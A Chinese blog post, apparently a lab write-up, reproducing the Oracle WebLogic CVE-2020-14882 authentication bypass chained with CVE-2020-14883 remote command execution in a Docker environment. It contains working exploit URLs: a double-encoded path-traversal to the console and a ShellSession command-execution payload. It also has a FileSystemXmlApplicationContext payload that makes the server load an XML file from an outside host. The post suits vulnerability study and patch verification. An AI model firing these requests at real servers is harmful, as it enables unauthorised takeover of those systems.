漏洞描述
Weblogic 是Oracle公司推出的J2EE应用服务器。在2020年10月的更新中,分别是CVE-2020-14882和CVE-2020-14883。以上漏洞
影响范围
WebLogic Server 10.3.6.0.0
WebLogic Server 12.1.3.0.0
WebLogic Server 12.2.1.3.0
WebLogic Server 12.2.1.4.0
WebLogic Server 14.1.1.0.0
漏洞原理
CVE-2020-14882允许未授权的用户绕过管理控制台的权限验证访问后台。
CVE-2020-14883允许后台任意用户通过HTTP协议执行任意命令。使用这两个漏洞组成的利用链,可通过一个GET请求在远程Weblogic服务器上以未授权的任意用户身份执行命令。
漏洞检测
这里使用P牛docker环境进行漏洞验证。可参考此处:cve-2020-14882
1、环境启动
1 | docker-compose up -d |
启动完成后,访问http://your-ip:7001/console
即可查看到后台登录页面。
2、CVE-2020-14882
访问以下URL,即可未授权访问到管理后台页面,实现权限绕过:
不仅是css还有/images/
1 | http://localhost:7001/console/css/../console.portal |
访问后台后,如上显示:权限较低,无法安装应用,因此也无法直接执行任意代码.
3、CVE-2020-14883
基于以上低权限此时借助CVE-2020-14883
来实现远程命令执行;可通过以下两种方式尝试
一是通过com.tangosol.coherence.mvel2.sh.ShellSession
二是通com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext
直接访问如下URL,即可利用com.tangosol.coherence.mvel2.sh.ShellSession
执行命令:
1 | http://localhost:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("java.lang.Runtime.getRuntime().exec('touch%20/tmp/success1');") |
进入容器,可发现touch /tmp/success1
已成功执行:
这个利用方法只能在Weblogic 12.2.1
以上版本利用,因为10.3.6并不存在com.tangosol.coherence.mvel2.sh.ShellSession
类。
com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext
是一种更为通杀的方法,可参考CVE-2019-2725
,对于所有Weblogic版本均有效。
首先,我们需要构造一个XML文件,并将其保存在Weblogic可以访问到的服务器上,如:http://www.si1ent.xyz/Tools/rce.xml
:
1 |
|
然后通过如下URL,即可让Weblogic加载这个XML,并执行其中的命令:
1 | http://127.0.0.1:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext(%22http://192.168.31.241:8888/rce.xml%22) |
漏洞修复
1 | https://www.oracle.com/security-alerts/cpuoct2020.html |
Referer
1 | https://twitter.com/chybeta/status/1322131143034957826 |
若你觉得我的文章对你有帮助,欢迎点击上方按钮对我打赏
扫描二维码,分享此文章